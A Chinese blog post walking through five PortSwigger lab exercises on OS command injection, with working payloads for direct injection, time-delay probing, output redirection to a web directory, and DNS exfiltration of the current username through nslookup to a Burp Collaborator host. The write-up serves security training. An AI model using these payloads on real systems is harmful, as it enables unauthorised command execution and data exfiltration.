Portswigger 靶场-操作系统命令注入

OS command injection

All labs | Web Security Academy (portswigger.net)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

1. OS command injection, simple case

OS命令注入,简单案例

目标:执行命令以确定当前用户的名称。whoami

过程:

用 burp 拦截数据包,有两个参数分别是产品和商店

Post 设置参数,whoami 命令用于显示自身用户名称

1 & whoami #

URL 编码后
1+%26+whoami+%23

2. Blind OS command injection with time delays

具有时间延迟的盲操作系统命令注入

目标:通过 sleep 10 秒判断出问题所在

过程:

在“反馈”界面抓包处理,分别测试name email等参数

+%26+sleep+10+%23
 & sleep 10 #

3. Blind OS command injection with output redirection

带有输出重定向的盲操作系统命令注入

目标:通过 whomi 命令,输出重定向到/var/www/images/

过程:

在“反馈”界面抓包处理,分别测试name email等参数

让应用程序在输出响应之前休眠 10 秒,来确认是否有盲注命令注入,测试后发现易受攻击的字段是email

可通过 F12 把 emali 的 type 改为 text,以此绕过前端检查,来提交反馈

在电子邮箱处填写& whoami > /var/www/images/ling.txt #,执行 whoami 命令,将内容保存在 ling.txt

访问图片网址,修改文件名成 ling.txt

# 等待十秒
 & sleep 10 #

# 将内容保存在 ling.txt
& whoami > /var/www/images/ling.txt #

# 访问
https://0ab8007b0415044bc48b9b5d001e00fb.web-security-academy.net/image?filename=ling.txt

4. Blind OS command injection with out-of-band interaction

带有带外交互的盲操作系统命令注入

目标:利用盲操作系统命令注入漏洞向 Burp 协作者发出 DNS 查找

过程:

需要 Burp pro 而不是社区版,利用 nslookup 命令去外带出回显

nslookup 命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题

+%26+nslookup+bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com+%23

# URL 解码后
 & nslookup bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com #

5. Blind OS command injection with out-of-band data exfiltration

带外数据泄露的盲 OS 命令注入

启用 Burp Collaborator client,复制到剪贴板;拦截和修改提交反馈的请求,修改 email 参数

 & nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #
 
 & nslookup $(whoami).kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #
 
||nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com||

最后,在 burp 的子域名中,可以看到 DNS 交互,获得当前用户名

posted @ 2023-02-16 16:22  跛一一  阅读(316)  评论(0编辑  收藏  举报